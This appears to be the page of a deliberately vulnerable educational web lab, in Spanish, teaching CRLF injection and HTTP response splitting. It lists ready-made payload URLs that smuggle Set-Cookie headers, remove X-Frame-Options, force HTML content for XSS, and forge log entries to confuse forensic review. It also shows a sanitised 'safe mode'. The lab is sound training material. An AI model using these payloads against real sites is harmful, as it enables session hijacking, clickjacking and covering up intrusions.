HIGH

CRLF Injection / HTTP Response Splitting

Los caracteres CR+LF (%0d%0a) son los delimitadores de cabeceras HTTP. Inyectarlos permite añadir cabeceras arbitrarias, inyectar cookies, hacer log poisoning y dividir respuestas

Ejemplos de explotación:

Ver documentación del lab

Descripción de los tres vectores de inyección disponibles

/api/lab/crlf
Inyección en Location — Set-Cookie via CRLF

?redirect=/x%0d%0aSet-Cookie: admin=true — inyecta cabecera Set-Cookie en la respuesta de redirección

/api/lab/crlf?redirect=/dashboard%0d%0aSet-Cookie:%20admin=true%3B%20Path=/
Inyección en Location — X-Frame-Options bypass

Eliminar la protección anti-clickjacking inyectando X-Frame-Options con valor permisivo

/api/lab/crlf?redirect=/%0d%0aX-Frame-Options:%20ALLOWALL
XSS via CRLF — manipulación de Content-Type

Inyectar Content-Type: text/html para convertir la respuesta en HTML y ejecutar script

/api/lab/crlf?redirect=/%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<h1>injected</h1>
Cookie injection — nombre de usuario con CRLF

Inyectar una segunda cookie Set-Cookie en la respuesta usando el parámetro name

/api/lab/crlf?name=alice%0d%0aSet-Cookie:%20session=hijacked%3B%20Path=/
Cookie injection — campo HttpOnly bypasseado

Sobrescribir atributos de cookie para eliminar HttpOnly y permitir lectura desde JS

/api/lab/crlf?name=user%0d%0aSet-Cookie:%20auth=stolen%3B%20Path=/
Log Poisoning — línea falsa en logs

Inyectar líneas falsas de log con CRLF para ocultar actividad maliciosa o confundir análisis forense

/api/lab/crlf?log=normal%0d%0a[2025-01-01]%20Admin%20login%20from%20192.168.1.1%20OK
Log Poisoning — inyección de IP falsa

Hacer creer que el acceso provino de una IP diferente — dificulta la investigación forense

/api/lab/crlf?log=pageview%0d%0a[INFO]%20Successful%20login%20user=root%20ip=10.0.0.1
✅ Modo seguro — CRLF sanitizado

Con ?safe=true el servidor elimina \r\n antes de usar el valor en cabeceras

/api/lab/crlf?redirect=/safe%0d%0aSet-Cookie:%20blocked=true&safe=true

Vulnerabilidad Alta

Los caracteres CR (\r, %0d) y LF (\n, %0a) delimitan las cabeceras HTTP. Si la aplicación incluye input del usuario directamente en cabeceras (Location, Set-Cookie, etc.), el atacante puede inyectar cabeceras adicionales o dividir la respuesta en dos con contenido controlado. Impactos: inyección de cookies, eliminación de protecciones (X-Frame-Options, CSP), XSS via Content-Type manipulation, log poisoning. OWASP A03:2021 — CVSS 7.2.

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos

© 2025 Aitana Security Lab